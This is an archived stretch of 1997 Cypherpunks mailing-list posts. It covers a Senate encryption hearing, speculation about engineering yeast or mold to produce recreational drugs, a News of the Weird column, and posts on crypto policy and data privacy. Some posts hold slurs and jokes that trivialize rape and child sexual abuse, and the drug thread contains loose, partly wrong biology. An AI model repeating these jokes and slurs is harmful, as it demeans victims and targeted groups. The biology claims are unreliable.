key recovery bill pending in the Senate in the last
Congress and for most of this one. That is the ECPA,
which I introduced...") Spoke against the
McCain-Kerrey bill not on broad, philosophical grounds
but on narrower grounds such as awarding too much
discretionary power to the Commerce Secretary.

SEN. CHARLES GRASSLEY (R): Tried to paint himself as
someone who understands the dangers of government
power by noting he joined many Republicans in opposing
roving wiretaps last summer, but then spoke darkly of
pedophiles armed with crypto. "Encryption is hindering
the investigation of chid sex offenders," Grassley
warned. He told how Colorado police couldn't break
into a teen's password-protected electronic organizer
where incriminating information might be stored. His
continuing fixation on child molesters shone through
today, as it did two years ago at a hearing for his
Net-censorship bill. He concluded: "How many child
molesters should go free because of encryption?"

SEN. BOB KERREY (D): Perhaps gaining confidence in his
political backing, Sen. Bob Kerrey spoke at length
about the dangers of uncontrolled *domestic* use of
crypto. "The current law is unacceptable. The status
quo is unacceptable," he said. At one point he talked
about scrapping any legislative changes to export
rules -- and focusing instead just on domestic crypto
and domestic key escrow.

SEN. JOHN KYL (R): Criticized Kerrey for being too
moderate. "My own view is that the legislation does
not go far enough," Sen. Kyl said of the McCain-Kerrey
bill. He said he was concerned about *any* changes to
export controls and wanted to keep the status quo. "I
don't want to be sitting up here and to have law
enforcement officials say to us you had the
opportunity to protect American lives and you didn't
do it," Kyl said. Tossed easy lobs to FBI Director
Freeh, who batted them out of the park.

SEN. DIANNE FEINSTEIN (D): Said "I would echo Sen.
Kyl's concerns." Noted she represented a high-tech
state but still was concerned about the uncontrolled
spread of encryption. Said to Freeh: "You've made a
clear and compelling case for key recovery. If it was
understood by the American people, they'd be
supportive." Followed up on Grassley's point about the
passworded organizer by asking Kerrey, "Without
revealing the classified briefing you participated in
and we have recently, what's puzzling me is that the
Colorado law enforcement doesn't have any recourse to
be able to break into a system." She said she thought
that the FBI could tunnel into such a device, but FBI
director Louis Freeh shook his head no.

SEN. JOHN ASHCROFT (R): Emerged as a staunch
crypto-defender. Asked Freeh why, if 56-bit crypto was
good enough for the general public, did the
administration allow banks to export 128-bit crypto?
Told Freeh, "Your presumption is that law breakers
will use key recovery systmes that are voluntary."
Argued that "there's no need for us to pass
legislation [on key recovery]... this is something to
which the market is responding." Wondered why the Cali
Cartel would use crypto with backdoors for the Feds.
Dismissed arguments about other countries' crypto
restrictions by saying: "So we have a whole bunch of
other comuntries without the commitment to civil
liberties we have." Controlling crypto is tricky
because "we're in a universe that's dynamic," he said.
"It seems to me that with our marketplace using
128-bit, we ought to be very careful about saying we
can consume it, we can use it, but we can't export
it." Landed a solid blow when he questioned how the
"crypto-in-a-crime" provision would work if someone
encrypts their tax data and is found guilty of a crime
later. "Is he guilty of a second crime because he
sought to protect the integrity of his tax returns
with encryption?"

More info:

  http://pathfinder.com/netly/opinion/0,1042,1022,00.html

  http://www.jya.com/declan3.txt

  http://www.jya.com/declan2.txt

  http://pathfinder.com/netly/editorial/0,1012,931,00.html

  http://www.well.com/~declan/fc/

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 10 Jul 1997 14:19:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102807afea1f8f0451@[10.0.2.15]>
Message-ID: <v03102804afea2bc2806e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:21 PM -0700 7/9/97, Steve Schear wrote:
>I know this is off-topic for the list...
>
>But why hasn't some cleaver graduate student engineered a common mold or
>yeast to yield easily extracted (or directly ingestible) common
>recreational pharmaceuticals?  Ideally it would be a perpetual source, like
>sour dough starter, and easily cultured.  Once distributed to the street it
>would be impossible to stop or track (since no controlled chemicals would
>be required for production).

You know, if Jim Bell was still contributing to the list, the chemist in
him would surely produce some posts on this.

Then, when the narcs and BATFags searched his house and found the
inevitable mold on the bread, the curdled milk, etc. (Jim is a bachelor,
and a computer person, so the mold, etc. is inevitable) they could add this
to the indictment.

And "The Oregonian" could breathlessly headline: "Drug-Producing Molds
Found in Home of Terror-Chemist."

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 10 Jul 1997 12:20:59 +0800
To: chk@utcc.utoronto.ca (C. Harald Koch)
Subject: Re: More on crypto from Bonn
In-Reply-To: <97Jul9.143005edt.11649@janus.tor.securecomputing.com>
Message-ID: <199707100419.XAA00486@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> In message <3.0.16.19970709093445.23d7be9e@pop.radix.net>, Donald Weightman writes:
> >         What's a "potential" terrorist? (Is the occasional apparent c'punx
> > paranoia justified?)
> 
> I also think it's particularly amusing that an American is lecturing a German
> about terrorism. Who has more experience with the subject, anyway?

	From which side?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 10 Jul 1997 05:43:59 +0800
To: cypherpunks@toad.com
Subject: News of the Wired
Message-ID: <199707092128.XAA16030@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Subject: 
             News of the Weird [486] - 30May97
by Chuck Shepherd

LEAD STORIES

* Ms. Courtney Mann, the head of the Philadelphia chapter of the
National Association for the Advancement of White People, who is
a tax preparer and single mother, was rebuffed in an attempt to join
a Ku Klux Klan-sponsored march in Pittsburgh in April, according
to the Pittsburgh Post-Gazette.  Though she has been in the
NAAWP for at least four years, the Pennsylvania KKK Grand
Dragon turned her down because Mann is black.  "She wanted me
to send transportation [for the rally]," said the Grand Dragon. "She
wanted to stay at my house [during rally weekend].  She's all
confused, man.  I don't think she knows she's a black."  

  And we have Kent Crispin. When's the trading deadline?

* April's annual religious fertility celebration in Nagoya, Japan,
designed to improve the rice harvest, featured as usual a 12-foot-
long, bright pink, plastic penis, carried through the street, followed
by displays of smaller organs and a giant banner of a blood-
vesseled penis, testicles, and pubic hair.  Souvenir candy of the
same shape was sold during the event, and at the end of a parade,
the giant organ was placed on the fertility shrine. 

  Don't they do the same thing in North Dakota?

* In mid-April, five weeks before the national elections, the
governing party in Indonesia announced, via "scientific
calculation," according to one leader, that President Suharto had
won re-election with 70.02 percent of the vote. 

  There's a standard joke in Mexico about thieves breaking into
a government office and stealing the results of next year's
election.

COURT DOCKET

* In February, Maryland circuit court judge Thomas Bollinger Sr.
agreed to wipe the record clean of Charles Weiner's spousal battery
charge after he completes probation--for the sole purpose of
helping Weiner join the Chestnut Ridge Country Club, which had
until then rejected him because of his criminal record.  (In 1993,
Bollinger gave a rapist probation for an attack against a drunken
woman, remarking that finding an unconscious woman on a bed
was "the dream of a lot of males, quite honestly.")  Four days later,
Bollinger reversed his decision and removed himself from all
domestic violence and sexual offense cases. 

  Hey! Everyone _knows_ that "snoring" implies consent!

* In Santa Cruz, Calif., in February, Mr. Danis Rivera, 25, rejected
a plea bargain that would have sent him to prison for one year for
having sex with underage girls.  However, at his trial he was in
such a foul mood that he constantly spit at court personnel and
finally had to be outfitted with a Hannibal Lecter-type bonnet over
his face.  He was convicted and sentenced to 16 years in prison. 
And in a Providence, R. I., courtroom in April, Latin King gangster
George "Animal" Perry, on trial for murder and racketeering and
frustrated at the length of the prosecutor's closing argument, which
denied him a much-needed restroom break, rose from his chair,
unzipped his fly, and took one, anyway. 

  It seems reasonable that if one petitions the court for relief,
and is denied, then the only recourse is to relieve oneself.

SCHEMES

* St. Charles Catholic Church (Picayune, Miss.) and nearby St.
Margaret Mary Church (Slidell, La.) posted security ushers at the
doors in February to make sure that parishioners were not
pocketing communion wafers.  Devil-worshiping ceremonies often
use wafers for symbolic desecration, and when six people were
seen leaving St. Charles in December with their wafers, the
churches' leaders began to fear a local Satanic conspiracy. 

  Nonsense. They were probably just trading them for drugs and
child pornography.

* In April in Houston, Tex., Robert Perry Russell, Jr., 44, was
sentenced to 20 years in prison for sexual assault and diapering of a
14-year-old boy, but police say the number of victims may have
been as many as 10.  According to police, Russell liked to take
boys out in a boat, tell them a tale about a headless killer seeking to
rescue a toddler from the dangerous lake and who kills all other
people, and suggest that putting on the diapers he happens to have
with him would be a good way, should the killer appear, of
convincing him of his toddler status. 

  And, as compensation for their pain and suffering, the victims
accepted the deed to Russel's prime real estate in Florida and
a bridge in the New York area.

DANGEROUS ACTIVITIES

* Dishwashing:  In March, a busboy at a Key West, Fla., Marriott
resort allegedly shot and killed a supervisor who had apparently
made some constructive criticism of the busboy's loading of the
dishwasher.  And in May, police in Helena, Ark., detained a 15-
year-old boy they suspect shot his older sister to death after a
dispute over which one would wash the dishes. 

  I'll wash, you die.

==============================

ADMINISTRATIVE NOTICES
[Except for the last paragraph, giving a new, alternative address
for Chuck Shepherd's CompuServe mailbox, these notices
unchanged since December 27, 1996]

NEWS OF THE WEIRD, founded in 1988, is a nationally syndicated
newspaper column distributed by Universal Press Syndicate.
Individuals may have the columns mailed to them electronically,
free of charge, approximately three weeks after the cover date,
which is the date when most subscribing newspapers will publish
the column.  Send a message to notw-request@nine.org with the
Subject line of Subscribe.  To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)

COPYRIGHT:  Neither the name News of the Weird nor any
issue of News of the Weird nor any portion of any issue of News
of the Weird may be used for any commercial purpose
whatsoever.  One example of such prohibited use is to use part or
all of an issue of News of the Weird as material on a commercial
Web page or on a commercial message.  ("Commercial" includes
Web sites or messages that contain any paid or bartered
advertising.)  If a Web site or message contains utterly no
commercial content, and it is freely accessible by the public with
no fee charged, portions of News of the Weird may be used
without prior permission provided that the portion(s) is(are)
accurately quoted and identified on the Web site or message as
from News of the Weird and this copyright notice is affixed at
some point:  Copyright 1997 by Universal Press Syndicate.

BOOKS BY CHUCK SHEPHERD:  The Concrete Enema and
Other News of the Weird Classics by Chuck Shepherd (Andrews
and McMeel, 1996, $6.95) is now in bookstores everywhere. 
Or you can order by mail from Atomic Books, 1018 N.
Charles St., Baltimore MD 21201 (add $2 postage for the first
book, $3 for two to the same address, $4 for 3, and $5 for more
than 3) (credit card orders 1-800-778-6246,
http://www.atomicbooks.com).  Or by credit card  from
Andrews and McMeel, 1-800-642-6480 (they bill $2 postage per
book).  Also by Chuck Shepherd and available at only the larger
bookstores in America:  News of the Weird (Plume Books, 1989,
$9), More News of the Weird (Plume, 1990, $9), Beyond News
of the Weird (Plume, 1991, $9), and America's Least Competent
Criminals (HarperPerennial, 1993, $9).  (The 1989, 1990, and
1991 books were co-authored with John J. Kohut and Roland
Sweet.)

HARDCOPIES:  The weekly newspaper columns, as well as
Chuck Shepherd's weird-news 'zine View from the Ledge (now
in its 16th year) are available in hardcopy, but unlike with
cyberspace, they're not free.  Send a buck for sample copies to
P. O. Box 8306, St. Petersburg FL 33738.

AUTHENTICITY:  All news stories mentioned in News of the
Weird are from news stories appearing in daily newspapers in the
U. S. and Canada (or occasionally, reputable daily newspapers in
other countries or other reputable magazines and journals).  No
so-called supermarket tabloid, and no story that was not intended
to be "news," is ever the source of a News of the Weird story. 

ADDRESSES:  To send mail and messages to Chuck Shepherd,
write Weird@CompuServe.com or P. O. Box 8306, St.
Petersburg FL 33738.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 10 Jul 1997 15:28:30 +0800
To: cypherpunks@Algebra.COM
Subject: Cypherpunks cap?
Message-ID: <3.0.2.32.19970710002139.006d932c@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anybody know who might be willing to sell one of the old Cypherpunks
baseball caps? I need one for an outfit I am putting together.

Thanks,
--Lucky
--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 03:48:39 +0800
To: cypherpunks@toad.com
Subject: Re: A really  meaningfull upgrade
In-Reply-To: <3.0.32.19691231190000.006a08e4@pop.netaddress.com>
Message-ID: <L9ZL0D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Casey Iverson <iverson@usa.net> writes:

> At 12:49 PM 7/9/97 EDT, THE RUSSIAN  SCUM BAG, DISSEASED RIDDEN ASS HOLE
> VULIS
>  gives us an an example of his KGB inspired humor:
>
> >Have you tried complaining to the European Envelope manufacturers
> >association in Switzerland???
>
> C.I.
>

That's what Black Unicorn's signature recommends.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 03:44:34 +0800
To: cypherpunks@toad.com
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102807afea1f8f0451@[10.0.2.15]>
Message-ID: <854L0D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear <azur@netcom.com> writes:

>
> I know this is off-topic for the list...

it's somewhat on-topic.

> But why hasn't some cleaver graduate student engineered a common mold or
> yeast to yield easily extracted (or directly ingestible) common
> recreational pharmaceuticals?  Ideally it would be a perpetual source, like
> sour dough starter, and easily cultured.  Once distributed to the street it
> would be impossible to stop or track (since no controlled chemicals would
> be required for production).

My understanding is that access to the eq needed for such hacking (or for
creating various harmful little bugs) is already very tightly watched.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FreeLSD <freelsd@lsd.telekom.ru>
Date: Thu, 10 Jul 1997 09:52:32 +0800
To: cypherpunks@toad.com
Subject: circ-1.0.4: RSA and 3DES for IRC
Message-ID: <199707100137.FAA02160@lsd.telekom.ru>
MIME-Version: 1.0
Content-Type: text/plain



        Announcing: Circ 1.0.4 -- RSA and 3DES for Internet Relay Chat!

        Circ is an IRC script and C program which allows for secure
conversations over Internet Relay Chat (IRC).  It has been designed for
ircII, but may work (with help) on other clients as well.
        'al' wrote circ 1.0, but this is more advanced.  Much is fixed,
but multiuser channel-chat is temporarily broken.  If you still use circ,
you should switch, and your old keys will still work, but Circ 1.0.4 and
circ do not talk together very easily. 
        It uses AT&T truerand library, Martin Nicolay's RSA-Verfahren,
and D3DES.  It is licensed under the GNU GPL.

ftp://ftp.usr.msk.ru/pub/circ/circ-1.0.4.tar.gz

        If you run a cryptography information site, feel free to link this
URL.

Chris
chris@ftp.usr.msk.ru





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 11 Jul 1997 03:37:00 +0800
To: cypherpunks@toad.com
Subject: Domain names and "The Network $olution", from The Netly News
Message-ID: <Pine.GSO.3.95.970710074836.17488N-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





***********

http://pathfinder.com/netly/opinion/0,1042,1155,00.html

The Netly News Network (http://netlynews.com)
July 10, 1997

The Network $olution
by Declan McCullagh (declan@well.com)

        It could have been the perfect way to liberate the Net from the
   much-reviled monopoly of Network Solutions Inc., the company that
   handles almost all U.S. domain name registrations. Backed by
   well-regarded groups such as the Internet Society, the seven-page
   proposal promised to reduce prices, increase choices -- and best of
   all, really put the screws to everyone's least favorite domain name
   registrar.
   
        But a month before the curtain is set to lift on a host of new
   domains to supplement .com and .org, the ambitious plan suddenly seems
   as doomed as the recently extirpated Communications Decency Act. Not
   only did just one government, Albania, sign the "Memorandum of
   Understanding" (MoU), but the U.S. actively opposed it. So did Network
   Solutions, after they realized with gut-wrenching dismay the
   consequences of losing their lucrative monopoly on .com.
   
        Yesterday another group of MoU critics met in Washington to form
   the Open Internet Congress, which hopes to wrest control of Net
   governance from "hobbyists" and "volunteers" and haul it into the
   mainstream. "I don't want a bunch of volunteers playing around and
   trying to run the show. I don't want petty battles over who's in
   charge and who's keeping the lights on," says Andrew Sernovitz, the
   president of the Association for Interactive Media, which organized
   the summit. Sernovitz envisions a ruthlessly commercialized cyberspace
   that's safe for companies like IBM, Intel, NBC and Time Warner
   (Netly's corporate big brother) that cough up $9,000 a year to be
   governing members of AIM.
   
        The talk yesterday was of revolution. Sernovitz spoke about
   holding an Internet "Constitutional Convention" this fall. He passed
   out supportive columns quoting from "Common Sense" by Thomas Paine. I
   even heard folks call the MoU the move that will spark the online
   equivalent of the Boston Tea Party. (Led, presumably, by firms like
   Time Warner? Since that media giant also owns CNN, you can be sure the
   revolution will indeed be televised.)

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 10 Jul 1997 21:18:30 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Gene Engineered Drug Production
Message-ID: <199707101252.HAA08005@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

The topic of producing recreational pharmacuticals via gene engineered
organisms is an interesting topic and one we discussed at least briefly 3-4
years ago. Might be worth reviewing the archives.

There are some issues that I believe have kept this from being a commen
practice:

 *  Other than Marijuana and Cocaine most of the street pharmacuticals
    base chemicals take too much post-production to get them to a
    usable result. Either the process is something without an analog
    in the cellular systems or else it requires chemicals that don't
    occur in nature in great quantities and are such that you wouldn't
    want it produced inside the person taking the material.

 *  Marijuana's complete gene map has only been available for a little
    over 2 years.

 *  Educational and commercial institutions are not going to allow those
    with access either time or supplies to complete the project.

 *  The LEA's and drug cartels would hunt the original designer(s) down
    and most likely terminate with extreme prejudice. You would be taking
    money from their mouths (so to speak).

 *  Currently there is no country who has a legal structure such that they
    would be an acceptable haven.

 *  Where's the profit? The person who creates it most definitely will not
    get rich. Just imagine filing your patent app.

 *  E. coli or cooking yeast seem to be the best target. Both are fully
    mapped and acceptable to human systems.

 *  In the case of Marijuana the chemicals produced by the genes are
    further processed and THC gets produced at this stage. This means
    the entire 2-tier process must be moved over. Neither yeast or
    E. Coli have this process in place (both being animals that isn't
    a surprise). This complicates the process greatly.

 *  We are just waiting for some bright sole who believes that not only
    should "information be free" but so should drugs and is willing to
    spend 20 years or so on the run.

 *  Regulation of production is a big unsolved problem. Assume for a
    moment that you have ingested some yeast that is producing TCH.
    How do you turn the regulation up or down? How do you keep the
    production from running away? Most drugs LD50 is simply way too
    low for such ad hoc regulation, drugs like TCH and LSD have
    ingestion levels of such magnitude that LD50 becomes a side issue.
    LSD would have a self regulating effect so it would be mediated
    irrespective of the level produced. THC on the other hand if not
    regulated would keep you in a sleepy daze most of the time.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 03:36:35 +0800
To: cypherpunks@toad.com
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102804afea2bc2806e@[207.167.93.63]>
Message-ID: <5Dkm0D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Then, when the narcs and BATFags searched his house and found the
> inevitable mold on the bread, the curdled milk, etc. (Jim is a bachelor,
> and a computer person, so the mold, etc. is inevitable) they could add this

I thought he lived with his parents?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 03:36:47 +0800
To: cypherpunks@toad.com
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <199707100339.WAA00249@smoke.suba.com>
Message-ID: <F7mm0D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



snow <snow@smoke.suba.com> writes:

> > Tim, I'm not having any "problems" with bwalk (the only computer with the
> > modem - others are in no way connected to the internet for security reasons
> > I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardwar
> > before I add NT 4.0.
>
> 	I'd say that is a problem.

Bwalk seems to work fine. I still have OS/2 on one more box.
(The idea was that I wanted to have NT (I don't have it now), and
figured I'll use the box that's not good for anything anyway.)

This whole silly thread reminds me of a joke which I partially forgot.
Basically, a bunch of women are asked, suppose you're stranded on a little
uninhabited island, and you see a ship full of sex-starved men. (Or
something like this.) They all give different answers, and the blonde
says: "I understand the situation, but I fail to see a problem."

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 11 Jul 1997 00:37:40 +0800
To: cypherpunks@Algebra.COM
Subject: The Recent Trend in "Collective Contracts"
Message-ID: <v03102805afeab8b29d2f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I'm not a lawyer, but I am interested in the various ramifications--and the
constitutionality--of recent "sweeping contracts" between vendors,
lawmakers, consumers, etc.

Two recent example:

1. The "tobacco agreement." Supposedly a deal involving the transfer of
$360 billion from some number of tobacco companies in exchange for dropping
of liability suits, immunity from future claims, voluntary restrictions (!)
on advertising, etc. (And the "etc." is especially complicated in this huge
case.)

2. The "voluntary ratings" agreement being announced today by Al Gore and
some of the television networks. (Earlier "voluntary agreements" were
implemented, but, according to supporters of censorship, "failed." Hence
the new push for newer voluntary restrictions.)

The issue, it seems to me, is that ordinary concepts of illegality and
civil liability are being swept aside in favor of these huge "deals" to
reduce liability in exchange for various actions. Well, who is bound by
these deals?

If "Tim's Tobacco Company" starts up next year, after this deal is
"signed," is his company bound by this deal? If Tim the Smoker develops
lung cancer, is he blocked from suing?

(Caveat: My personal and libertarian view is that lawsuits against
cigarette companies are wrong and should not be supported in a free
society. And lawsuits by various states to "recover health care costs" are
especially bogus. By this logic, McDonald's could be sued by California
because California paid out more health care benefits to meat-eaters than
it did to vegetarians. Utterly bogus.)

Anyway, the free speech aspects of these deals are also worrisome. The
"voluntary restrictions" on advertising, for example. Would the
aforementioned "Tim's Tobacco Company," not a party to this Grand Deal, be
somehow bound by a deal wherein it could not sponsor sporting events? Or
advertise? Or even speak out against the deal?

Imagine the implications for cryptography, using the logic of these kinds
of deals:

"The voluntary agreement reached between the cryptography industry and
Washington calls for companies to voluntarily limit key sizes to 64 bits
unless a key recovery scheme is used. And Washington agrees to drop RICO
charges against PGP Inc. and RSA Data Security Inc. in return. Book
publishers, who became part of the negotiations last summer, have agreed to
limit the information published in books in exchange for relaxations on the
export requirements for computer media. "

Far fetched? Perhaps. But note the similarities to these other "collective
contracts."

And in many ways the Telephony Act, aka CALEA (Communications Act for Law
Enforcement Access), was just such a deal. When the various telecom
companies essentially said "we can live with this bill," they were tacitly
committing themselves to just such a collective contract. (What happens
when a new telecom company starts up and finds that it has been "bound" to
provide wiretap points into its switches?)

It seems to me that these contracts are going to collapse completely when
the Supreme Court points out that they bind nonparticipants to terms which
limit their constitutionally protected rights. (Quibblers can claim that
"corporations have no constitutional rights," but the publishing companies
which publish newspapers would take exception to this. And so on. There are
many cases where corporations are enjoying the fruits of the Constitution.
As it should be.)

These huge mega-deals are a crummy way to interpret the U.S. Constitution.
I fear the "Grand Compromise" deal that the telecom and crypto companies
are being drawn into.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Fri, 11 Jul 1997 02:03:20 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102807afea1f8f0451@[10.0.2.15]>
Message-ID: <Pine.GSO.3.96.970710100127.21118H-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 9 Jul 1997, Steve Schear wrote:

> I know this is off-topic for the list...
> 
> But why hasn't some cleaver graduate student engineered a common mold or
> yeast to yield easily extracted (or directly ingestible) common
> recreational pharmaceuticals?  Ideally it would be a perpetual source, like
> sour dough starter, and easily cultured.  Once distributed to the street it
> would be impossible to stop or track (since no controlled chemicals would
> be required for production).

I had expected someone to cross blue-green algae with the part of canibus
that produces THC.  I would love to see something that would have the DEA
try to haul off people who have pond scum in their bird feeders and the
like.  (Anything that will make them look even more absurd...)

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Thu, 10 Jul 1997 16:57:15 +0800
To: <cypherpunks@Algebra.COM>
Subject: US and EU at odds on data protection
Message-ID: <WIN2359-970710084229-7539*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain



Internet: US and EU at odds on data protection
                   THURSDAY JULY 10 1997
                   By Neil Buckley
-- Begin 
Differences between US and European Union laws on personal data
protection have emerged as a potentially serious barrier to creation of a
global free market for commerce on the internet.
The European Commission yesterday urged the US to strengthen its laws
on data privacy to bring them into line with European equivalents, or risk
seeing curbs on exchange of information.
The latest hurdle to development of a worldwide internet marketplace
emerged at a meeting between Mr Ira Magaziner, senior adviser to
President Bill Clinton and architect of last week's US report on electronic
commerce, and Mr Hans Beseler, Commission director-general for trade
policy.
It came a day after differences emerged between EU ministers and the US
at a conference in Bonn over the unrestricted use of encryption technology
on the global computer network.
A recently adopted EU directive on data protection makes it illegal after
October 1998 for EU businesses to "export" personal data for commercial
purposes to countries which lack comparable privacy laws.
Such a ban could prevent the sale of customer information, or even
exchanges of marketing databases between subsidiaries of international
companies.
The clause has already been cited by financial services groups as a
potential barrier to trade.
Commission officials said they were concerned that consumers would
refuse to buy products or services on the internet if they were not confident
that personal data they provided would be secure, and that they would not
be bombarded by unsolicited marketing.
Brussels wants the US to introduce European-style privacy laws. "The
creation of a federal privacy body with powers to hear and investigate
complaints, and act as interlocutor for European data protection
authorities, would be a big step in the right direction," a Commission official
added.
But the US fears heavy-handed privacy rules could stifle trade, and prefers
industry self-regulation.
                  
Mr Magaziner suggested internet traders should develop a voluntary code
of conduct, with "seals of approval" for companies pledging to respect
privacy and security of personal information. "Industry and consumer
groups have the same incentive as we have to protect privacy, because
they won't do business unless people feel their privacy is protected," he
said. "Ultimately the power rests with consumers. They can buy or not buy,
go to one web site or not go."
Mr Magaziner suggested it would be a mistake for the EU to isolate itself
by applying the clause in its data protection directive next year.
(c) Copyright the Financial Times Limited 1997
"FT" and "Financial Times" are trademarks of The Financial Times Limited.
-- End
We are not amused
Theodor Schlickmann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Fri, 11 Jul 1997 02:26:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102804afea2bc2806e@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970710110745.21118O-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 9 Jul 1997, Tim May wrote:

> Then, when the narcs and BATFags searched his house and found the
> inevitable mold on the bread, the curdled milk, etc. (Jim is a bachelor,
> and a computer person, so the mold, etc. is inevitable) they could add this
> to the indictment.

Or he could hide it in cheese or other mold-bearing substances.  Would
make pizza and beer more fun...

> And "The Oregonian" could breathlessly headline: "Drug-Producing Molds
> Found in Home of Terror-Chemist."

When looking for sleezy headlines from the Oregano, look for the evening
edition.  They are the most sensationalist.  (My favorate is still "Guns a
part of fungus season.")

Here are a few possible headlines...

"Death cheese found in home of Munster-terrorist"
"Gudda tip brings in Cheesie Terrorist"
"Bell Threat to Portland Delis"

The permutations are endless...

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 11 Jul 1997 02:28:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102807afea1f8f0451@[10.0.2.15]>
Message-ID: <v03102800afead774beaf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:06 AM -0700 7/10/97, Alan wrote:
